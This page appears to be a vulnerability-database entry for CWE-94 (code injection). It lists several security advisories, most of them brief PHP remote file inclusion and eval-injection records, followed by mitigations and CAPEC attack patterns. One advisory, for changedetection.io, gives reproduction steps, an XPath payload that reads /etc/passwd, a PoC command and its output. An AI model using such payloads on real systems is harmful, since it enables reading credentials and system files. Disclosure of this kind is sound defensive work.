CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8385 vulnerabilities reference this CWE, most recent first.
GHSA-6FHW-MHM2-7PFC
Vulnerability from github – Published: 2022-05-17 05:51 – Updated: 2022-05-17 05:51Multiple PHP remote file inclusion vulnerabilities in openMairie openCourrier 2.02 and 2.03 beta, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the path_om parameter to (1) bible.class.php, (2) dossier.class.php, (3) service.class.php, (4) collectivite.class.php, (5) droit.class.php, (6) tache.class.php, (7) emetteur.class.php, (8) utilisateur.class.php, (9) courrier.recherche.tab.class.php, and (10) profil.class.php in obj/. NOTE: some of these details are obtained from third party information.
{
"affected": [],
"aliases": [
"CVE-2010-1927"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-05-12T16:07:00Z",
"severity": "MODERATE"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in openMairie openCourrier 2.02 and 2.03 beta, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the path_om parameter to (1) bible.class.php, (2) dossier.class.php, (3) service.class.php, (4) collectivite.class.php, (5) droit.class.php, (6) tache.class.php, (7) emetteur.class.php, (8) utilisateur.class.php, (9) courrier.recherche.tab.class.php, and (10) profil.class.php in obj/. NOTE: some of these details are obtained from third party information.",
"id": "GHSA-6fhw-mhm2-7pfc",
"modified": "2022-05-17T05:51:28Z",
"published": "2022-05-17T05:51:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1927"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1004-exploits/opencourrier-rfilfi.txt"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/39624"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/12398"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/64202"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/64203"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/64204"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/64205"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/64206"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/64207"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/64208"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/64209"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/64210"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/1003"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6FM8-9M7G-7C7V
Vulnerability from github – Published: 2022-05-17 00:39 – Updated: 2022-05-17 00:39PHP remote file inclusion vulnerability in admin.googlebase.php in the Ecom Solutions VirtueMart Google Base (aka com_googlebase or Froogle) component 1.1 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
{
"affected": [],
"aliases": [
"CVE-2008-6483"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-03-18T15:30:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in admin.googlebase.php in the Ecom Solutions VirtueMart Google Base (aka com_googlebase or Froogle) component 1.1 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.",
"id": "GHSA-6fm8-9m7g-7c7v",
"modified": "2022-05-17T00:39:29Z",
"published": "2022-05-17T00:39:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6483"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6975"
},
{
"type": "WEB",
"url": "http://osvdb.org/49529"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32533"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32098"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6FMW-82M7-JQ6P
Vulnerability from github – Published: 2026-03-04 20:59 – Updated: 2026-03-06 21:57Summary
-
The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.
-
XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.
Data Flow
User Input (include_filters field)
↓
forms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety
↓
Watch configuration stored in datastore
↓
Scheduled fetch triggers html_tools.py processing
↓
html_tools.py:xpath_filter() at line 213
↓
elementpath.select(root, xpath_expression, parser=XPath3Parser)
↓
XPath 3.0 unparsed-text('file:///etc/passwd') executed
↓
File contents returned as "filtered content"
↓
Stored as snapshot, viewable in UI
Affected Code File: changedetectionio/html_tools.py Function: xpath_filter() Lines: 187-220
def xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):
# ...
from elementpath import XPath3Parser # XPath 3.0 with dangerous functions
# ...
r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser) # Line 213
Validation (forms.py):
class ValidateCSSJSONXPATHInput:
def __call__(self, form, field):
# Only checks if XPath is syntactically valid
# Does NOT check for dangerous functions like unparsed-text()
Details
- Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance
- Create a new watch with any valid URL (e.g., https://example.com)
- Edit the watch and set the "CSS/JSONPath/JQ/XPath Filters" field to:
xpath:unparsed-text('file:///etc/passwd')
- Save and trigger a recheck
- View the preview/snapshot - the file contents will be displayed
PoC
python script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py
python3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd
╔═══════════════════════════════════════════════════════════════╗
║ XPath 3.0 Arbitrary File Read Exploit ║
║ Target: changedetection.io ║
║ Vulnerability: unparsed-text() in XPath filters ║
╚═══════════════════════════════════════════════════════════════╝
[*] Creating new watch for https://example.com...
[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1
[*] Setting XPath filter to read: /etc/passwd
[+] XPath filter set successfully
[*] Triggering recheck...
[*] Waiting for check to complete...
[*] Retrieving file contents...
[+] SUCCESS! File contents retrieved:
============================================================
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
============================================================
[*] Cleaning up (deleting watch)...
Impact
- Read any file accessible to the application process
- Exfiltrate sensitive configuration files, credentials, API keys
- Read application source code
- Access database files if file-based (SQLite)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.54.3"
},
"package": {
"ecosystem": "PyPI",
"name": "changedetection.io"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.54.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29039"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T20:59:35Z",
"nvd_published_at": "2026-03-06T07:16:01Z",
"severity": "HIGH"
},
"details": "### Summary\n- The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.\n\n- XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.\n\n\n### Data Flow\n\n```\nUser Input (include_filters field)\n \u2193\nforms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety\n \u2193\nWatch configuration stored in datastore\n \u2193\nScheduled fetch triggers html_tools.py processing\n \u2193\nhtml_tools.py:xpath_filter() at line 213\n \u2193\nelementpath.select(root, xpath_expression, parser=XPath3Parser)\n \u2193\nXPath 3.0 unparsed-text(\u0027file:///etc/passwd\u0027) executed\n \u2193\nFile contents returned as \"filtered content\"\n \u2193\nStored as snapshot, viewable in UI\n\n```\n\n**Affected Code**\n**File:** changedetectionio/html_tools.py\n**Function:** xpath_filter()\n**Lines:** 187-220\n\n```\ndef xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):\n # ...\n from elementpath import XPath3Parser # XPath 3.0 with dangerous functions\n # ...\n r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser) # Line 213\n\n```\n\nValidation (forms.py):\n\n```\nclass ValidateCSSJSONXPATHInput:\n def __call__(self, form, field):\n # Only checks if XPath is syntactically valid\n # Does NOT check for dangerous functions like unparsed-text()\n\n```\n\n### Details\n\n- Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance\n- Create a new watch with any valid URL (e.g., https://example.com)\n- Edit the watch and set the \"CSS/JSONPath/JQ/XPath Filters\" field to:\n\n```\nxpath:unparsed-text(\u0027file:///etc/passwd\u0027)\n```\n\n- Save and trigger a recheck\n- View the preview/snapshot - the file contents will be displayed\n\n\u003cimg width=\"2800\" height=\"1108\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f39df9c3-52c9-4fa8-ab57-75c7d4955017\" /\u003e\n\n### PoC\n\npython script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py\n\n```\npython3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd\n\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551 XPath 3.0 Arbitrary File Read Exploit \u2551\n\u2551 Target: changedetection.io \u2551\n\u2551 Vulnerability: unparsed-text() in XPath filters \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n \n[*] Creating new watch for https://example.com...\n[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1\n[*] Setting XPath filter to read: /etc/passwd\n[+] XPath filter set successfully\n[*] Triggering recheck...\n[*] Waiting for check to complete...\n[*] Retrieving file contents...\n\n[+] SUCCESS! File contents retrieved:\n============================================================\nroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n\n============================================================\n[*] Cleaning up (deleting watch)...\n\n```\n\n\n### Impact\n- Read any file accessible to the application process\n- Exfiltrate sensitive configuration files, credentials, API keys\n- Read application source code\n- Access database files if file-based (SQLite)",
"id": "GHSA-6fmw-82m7-jq6p",
"modified": "2026-03-06T21:57:13Z",
"published": "2026-03-04T20:59:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-6fmw-82m7-jq6p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29039"
},
{
"type": "WEB",
"url": "https://github.com/dgtlmoon/changedetection.io/commit/417d57e5749441e4be9acc4010369bded805d66f"
},
{
"type": "PACKAGE",
"url": "https://github.com/dgtlmoon/changedetection.io"
},
{
"type": "WEB",
"url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "changedetection.io vulnerable to XPath - Arbitrary File Read via unparsed-text()"
}
GHSA-6FQP-XVVH-H64G
Vulnerability from github – Published: 2022-05-17 00:41 – Updated: 2022-05-17 00:41PHP remote file inclusion vulnerability in adminhead.php in WebBiscuits Modules Controller 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the path[docroot] parameter.
{
"affected": [],
"aliases": [
"CVE-2008-6138"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-14T02:30:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in adminhead.php in WebBiscuits Modules Controller 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the path[docroot] parameter.",
"id": "GHSA-6fqp-xvvh-h64g",
"modified": "2022-05-17T00:41:14Z",
"published": "2022-05-17T00:41:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6138"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45771"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6703"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31655"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6G4V-X78G-Q8C5
Vulnerability from github – Published: 2022-05-13 01:15 – Updated: 2022-05-13 01:15Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allow remote attackers to execute arbitrary code via a crafted (1) file name or (2) subfolder name that triggers use of unallocated memory as the destination of a copy operation, aka "Windows Filename Parsing Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2012-4774"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-12-12T00:55:00Z",
"severity": "HIGH"
},
"details": "Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allow remote attackers to execute arbitrary code via a crafted (1) file name or (2) subfolder name that triggers use of unallocated memory as the destination of a copy operation, aka \"Windows Filename Parsing Vulnerability.\"",
"id": "GHSA-6g4v-x78g-q8c5",
"modified": "2022-05-13T01:15:42Z",
"published": "2022-05-13T01:15:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4774"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2012/ms12-081"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A15901"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA12-346A.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6G56-V9QG-JP92
Vulnerability from github – Published: 2024-04-24 21:35 – Updated: 2024-04-24 21:35A security-check flaw was found in the way the Heketi 5 server API handled user requests. An authenticated Heketi user could send specially crafted requests to the Heketi server, resulting in remote command execution as the user running Heketi server and possibly privilege escalation.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/heketi/heketi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-15103"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T21:35:47Z",
"nvd_published_at": "2017-12-18T19:29:00Z",
"severity": "HIGH"
},
"details": "A security-check flaw was found in the way the Heketi 5 server API handled user requests. An authenticated Heketi user could send specially crafted requests to the Heketi server, resulting in remote command execution as the user running Heketi server and possibly privilege escalation.",
"id": "GHSA-6g56-v9qg-jp92",
"modified": "2024-04-24T21:35:47Z",
"published": "2024-04-24T21:35:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15103"
},
{
"type": "WEB",
"url": "https://github.com/heketi/heketi/commit/787bae461b23003a4daa4d1d639016a754cf6b00"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3481"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2017-15103"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1510147"
},
{
"type": "PACKAGE",
"url": "https://github.com/heketi/heketi"
},
{
"type": "WEB",
"url": "https://github.com/heketi/heketi/releases/tag/v5.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Heketi Arbitrary Code Execution"
}
GHSA-6G6P-6PPW-XXV2
Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2023-09-28 15:30IBL Online Weather before 4.3.5a allows unauthenticated eval injection via the queryBCP method of the Auxiliary Service.
{
"affected": [],
"aliases": [
"CVE-2020-9406"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-26T00:15:00Z",
"severity": "HIGH"
},
"details": "IBL Online Weather before 4.3.5a allows unauthenticated eval injection via the queryBCP method of the Auxiliary Service.",
"id": "GHSA-6g6p-6ppw-xxv2",
"modified": "2023-09-28T15:30:15Z",
"published": "2022-05-24T17:09:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9406"
},
{
"type": "WEB",
"url": "https://github.com/dawid-czarnecki/public-vulnerabilities/tree/master/Online_Weather"
},
{
"type": "WEB",
"url": "https://zigrin.com/advisories/online-weather-command-injection-in-querybcp-method"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6G7V-43XG-47VC
Vulnerability from github – Published: 2022-05-01 07:24 – Updated: 2025-04-09 03:31Unspecified vulnerability in PollXT component (com_pollxt) 1.22.07 and earlier for Joomla! has unspecified impact and attack vectors, probably related to PHP remote file inclusion in the mosConfig_absolute_path to conf.pollxt.php.
{
"affected": [],
"aliases": [
"CVE-2006-5045"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-09-27T23:07:00Z",
"severity": "MODERATE"
},
"details": "Unspecified vulnerability in PollXT component (com_pollxt) 1.22.07 and earlier for Joomla! has unspecified impact and attack vectors, probably related to PHP remote file inclusion in the mosConfig_absolute_path to conf.pollxt.php.",
"id": "GHSA-6g7v-43xg-47vc",
"modified": "2025-04-09T03:31:38Z",
"published": "2022-05-01T07:24:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5045"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27779"
},
{
"type": "WEB",
"url": "http://forum.joomla.org/index.php/topic%2C77975.0.html"
},
{
"type": "WEB",
"url": "http://forum.joomla.org/index.php/topic%2C79477.0.html"
},
{
"type": "WEB",
"url": "http://forum.joomla.org/index.php/topic,77975.0.html"
},
{
"type": "WEB",
"url": "http://forum.joomla.org/index.php/topic,79477.0.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/21068"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/19037"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/2843"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6G86-C9GM-GQG5
Vulnerability from github – Published: 2022-05-02 03:56 – Updated: 2022-05-02 03:56Multiple PHP remote file inclusion vulnerabilities in Advanced Comment System 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the ACS_path parameter to (1) index.php and (2) admin.php in advanced_comment_system/. NOTE: this might only be a vulnerability when the administrator has not followed installation instructions in install.php. NOTE: this might be the same as CVE-2020-35598.
{
"affected": [],
"aliases": [
"CVE-2009-4623"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-01-18T20:30:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in Advanced Comment System 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the ACS_path parameter to (1) index.php and (2) admin.php in advanced_comment_system/. NOTE: this might only be a vulnerability when the administrator has not followed installation instructions in install.php. NOTE: this might be the same as CVE-2020-35598.",
"id": "GHSA-6g86-c9gm-gqg5",
"modified": "2022-05-02T03:56:33Z",
"published": "2022-05-02T03:56:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4623"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/36643"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/9623"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6G88-VR3V-76MF
Vulnerability from github – Published: 2019-11-20 01:31 – Updated: 2024-09-30 16:22Eval injection in the Math plugin of Limnoria (before 2019.11.09) and Supybot (through 2018-05-09) allows remote unprivileged attackers to disclose information or possibly have unspecified other impact via the calc and icalc IRC commands.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "limnoria"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2019.11.09"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-19010"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2019-11-18T18:01:34Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Eval injection in the Math plugin of Limnoria (before 2019.11.09) and Supybot (through 2018-05-09) allows remote unprivileged attackers to disclose information or possibly have unspecified other impact via the calc and icalc IRC commands.",
"id": "GHSA-6g88-vr3v-76mf",
"modified": "2024-09-30T16:22:02Z",
"published": "2019-11-20T01:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19010"
},
{
"type": "WEB",
"url": "https://github.com/ProgVal/Limnoria/commit/3848ae78de45b35c029cc333963d436b9d2f0a35"
},
{
"type": "PACKAGE",
"url": "https://github.com/ProgVal/Limnoria"
},
{
"type": "WEB",
"url": "https://github.com/ProgVal/Limnoria/wiki/math-eval-vulnerability"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-6g88-vr3v-76mf"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/limnoria/PYSEC-2019-102.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/54CQM2TEXRADLE77VOMCPHL5PBHR3ZWJ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5P2AGND54UIJV3WHOYO2YINIXSDGAAPO"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DRNOUHFEN75QAIKT4Y3HDN3TT5LSIWN2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Eval injection in Supybot/Limnoria"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.